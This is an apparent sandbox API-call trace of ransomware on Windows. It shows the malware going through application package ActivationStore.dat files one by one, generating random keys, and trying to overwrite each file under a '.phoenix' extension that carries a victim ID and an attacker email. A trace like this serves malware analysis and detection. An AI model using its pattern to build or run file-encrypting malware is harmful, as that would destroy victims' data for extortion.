	[0235.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0235.010] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0235.636] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0235.636] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ContentDeliveryManager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.contentdeliverymanager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0235.754] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=65536) returned 1
	[0235.754] CloseHandle (hObject=0x2c8) returned 1
	[0235.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ContentDeliveryManager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.contentdeliverymanager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0235.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ContentDeliveryManager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.contentdeliverymanager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0235.754] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ContentDeliveryManager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.contentdeliverymanager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0235.838] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0235.838] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ModalSharePickerHost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.modalsharepickerhost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0235.839] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16384) returned 1
	[0235.839] CloseHandle (hObject=0x2c8) returned 1
	[0235.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ModalSharePickerHost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.modalsharepickerhost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0235.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ModalSharePickerHost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.modalsharepickerhost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0235.839] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ModalSharePickerHost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.modalsharepickerhost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0236.302] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0236.302] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ShellExperienceHost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.shellexperiencehost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0236.302] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=131072) returned 1
	[0236.302] CloseHandle (hObject=0x2c8) returned 1
	[0236.302] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ShellExperienceHost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.shellexperiencehost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0236.303] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ShellExperienceHost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.shellexperiencehost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0236.303] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ShellExperienceHost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.shellexperiencehost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0237.405] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0237.405] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0237.409] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=524288) returned 1
	[0237.409] CloseHandle (hObject=0x2c8) returned 1
	[0237.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0237.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.409] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0237.483] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0237.483] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0237.484] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=32768) returned 1
	[0237.484] CloseHandle (hObject=0x2d4) returned 1
	[0237.484] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0237.484] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.484] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0237.676] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0237.676] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsmaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0237.679] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=65536) returned 1
	[0237.679] CloseHandle (hObject=0x2c8) returned 1
	[0237.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsmaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0237.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsmaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.679] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsmaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0237.808] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0237.808] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsphone_10.1510.9010.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0237.810] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16384) returned 1
	[0237.810] CloseHandle (hObject=0x2d4) returned 1
	[0237.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsphone_10.1510.9010.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0237.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsphone_10.1510.9010.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.810] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsphone_10.1510.9010.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0237.894] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0237.894] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowssoundrecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.914] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=32768) returned 1
	[0237.914] CloseHandle (hObject=0x2f0) returned 1
	[0237.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowssoundrecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0237.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowssoundrecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.914] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowssoundrecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0238.016] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0238.016] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxapp_25.25.13009.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0238.017] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=65536) returned 1
	[0238.017] CloseHandle (hObject=0x2e4) returned 1
	[0238.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxapp_25.25.13009.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0238.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxapp_25.25.13009.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.018] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxapp_25.25.13009.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0238.244] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0238.244] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxidentityprovider_11.19.19003.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0238.257] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16384) returned 1
	[0238.257] CloseHandle (hObject=0x2f0) returned 1
	[0238.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxidentityprovider_11.19.19003.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0238.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxidentityprovider_11.19.19003.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.258] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxidentityprovider_11.19.19003.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0238.393] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0238.393] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0238.395] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=8192) returned 1
	[0238.395] CloseHandle (hObject=0x2c8) returned 1
	[0238.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0238.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.396] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0238.458] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0238.458] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.zunemusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0238.459] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=65536) returned 1
	[0238.459] CloseHandle (hObject=0x2e4) returned 1
	[0238.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.zunemusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
